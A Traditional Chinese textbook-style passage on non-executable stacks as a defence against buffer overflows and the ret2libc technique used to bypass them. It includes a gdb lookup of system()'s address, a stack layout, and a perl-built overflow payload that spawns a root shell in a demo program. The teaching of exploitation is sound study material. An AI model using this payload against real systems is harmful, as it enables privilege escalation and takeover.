大多數應用從不需要在堆疊上執行任何東西,所以對抗緩衝區溢位的一個明顯防禦,就是讓堆疊不可執行。
針對第三步:執行 shellcode#
堆疊不可執行時,插在堆疊任何地方的 shellcode 基本上都無用。這種防禦能阻止市面上大多數漏洞利用,且越來越普遍。最新版 OpenBSD 預設堆疊不可執行,Linux 則可透過核心修補 PaX 取得。
ret2libc:繞過不可執行堆疊#
當然,也有繞過這個對策的技術——返回 libc(return into libc)。
libc 是含
printf()、exit()等基本函式的標準 C 函式庫,這些函式是共享的。漏洞利用可以把程式執行導向 libc 中的某個函式——功能受限於 libc 現有的函式(相較任意 shellcode 是明顯限制),但好處是堆疊上什麼都不執行。
返回 system()#
最容易返回的 libc 函式之一是 system():它接受單一引數並用 /bin/sh 執行它。目標是讓脆弱程式執行 system("/bin/sh") 生成 shell,而不在堆疊上執行任何東西。
第一步:找出 system() 的位置。 這在每個系統不同,但一旦得知就固定到 libc 重編譯為止。最簡單的辦法是建一個用到 system() 的假程式、用除錯器找:
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ed0d80 <system>
第二步:在堆疊上布置返回 libc 的呼叫。 格式應該很熟悉——函式位址、返回位址、然後依序是引數:
| 堆疊內容 | 值 |
|---|---|
| libc 函式位址 | system() 的 0xb7ed0d80 |
| libc 呼叫後的返回位址 | FAKE(不在乎,因為要開互動 shell) |
| 第一個引數 | 指向 /bin/sh 字串的指標 |

圖 0x600-2:返回 libc 呼叫在堆疊上的布局——函式位址、返回位址、依序的引數
reader@hacking:~/booksrc $ export BINSH=" /bin/sh"
reader@hacking:~/booksrc $ ./getenvaddr BINSH ./vuln
BINSH will be at 0xbffffe5b
reader@hacking:~/booksrc $ ./vuln $(perl -e 'print "ABCD"x7 . "\x80\x0d\xed\xb7FAKE\x5b\xfe\xff\xbf"')
sh-3.2# whoami
root
需要時可做鏈式 libc 呼叫:把
FAKE返回位址改成導向另一個 libc 呼叫,或導向程式既有指令中某段有用的區塊。